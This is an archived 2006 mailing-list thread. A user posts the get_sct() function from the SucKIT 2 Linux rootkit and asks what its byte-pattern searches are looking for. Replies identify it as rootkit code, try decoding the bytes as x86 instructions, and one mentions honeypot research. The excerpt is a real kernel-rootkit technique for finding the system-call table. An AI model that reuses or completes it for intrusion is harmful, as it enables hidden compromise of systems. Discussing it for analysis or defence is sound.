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From: openbsd shen on 5 Apr 2006 21:40
this code from get_sct() of suckit 2, why memmem()
"\xc7\x44\x24\x18\xda\xff\xff\xff\xe8"use, what it want to find?
The get_sct() founction:

ulong get_sct()
{
uchar code[SCLEN+256];
uchar *p, *pt;
ulong r;
uchar pt_off, pt_bit;
int i;

kernel_old80 = get_ep();

if (!kernel_old80)
return 0;
if (rkm(code, sizeof(code), kernel_old80-4) <= 0)
return 0;

if (!memcmp(code, "PUNK", 4))
return 0;

p = (char *) memmem(code, SCLEN, "\xff\x14\x85", 3);
if (!p) return 0;

pt = (char *) memmem(p+7, SCLEN-(p-code)-7,
"\xc7\x44\x24\x18\xda\xff\xff\xff\xe8", 9);
/* when run at here , it always return 0 */
if (!pt) {
eprintf("pt = %s\n", pt);
return 0;
}

sc.trace = *((ulong *) (pt + 9));
sc.trace += kernel_old80 + (pt - code) - 4 + 9 + 4;

pt = (char *) memmem(p+7, SCLEN-(p-code)-7, "\xff\x14\x85", 3);
if (!pt) return 0;

for (i = 0; i < (p-code); i++) {
if ((code[i] == 0xf6) && (code[i+1] == 0x43) &&
(code[i+4] == 0x75) && (code[i+2] < 127)) {
pt_off = code[i+2];
pt_bit = code[i+3];
goto cc;
}
}

return 0;
}
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From: David Schwartz on 6 Apr 2006 09:40

> In what file did you find this? This is how back-doors are written!
>
> On Wed, 5 Apr 2006, openbsd shen wrote:
>
> > this code from get_sct() of suckit 2, why memmem()
> > "\xc7\x44\x24\x18\xda\xff\xff\xff\xe8"use, what it want to find?
> > The get_sct() founction:

As he said, it's from "suckit 2", a root kit.

Back-doors in a root kit? Whodathunkit. ;)

DS


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From: Jan Engelhardt on 8 Apr 2006 05:10
>Subject: What means "\xc7\x44\x24\x18\xda\xff\xff\xff\xe8"

Does not look like x86 asm code:

> p = (char *) memmem(code, SCLEN, "\xff\x14\x85", 3);

call dword ptr [edx-...]

> pt = (char *) memmem(p+7, SCLEN-(p-code)-7,
> "\xc7\x44\x24\x18\xda\xff\xff\xff\xe8", 9);

mov dword ptr [esp+0x18], 0xffffffda


Nope, does not look meaningful if taken as x86 asm.


Jan Engelhardt
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From: Dan Sheppard on 10 Apr 2006 16:20
I can explain this, but I'll need a bit more convincing about your whitehated-ness.

I've been dabbling for a while with custom-kitting a honeypot machine with a kit
which sits under suckit2 and event-logs it, to see what da kidz get up to on
sukit'ed machines. Just curiosity, really, having come up against suckit a fair
few times.

Dan.
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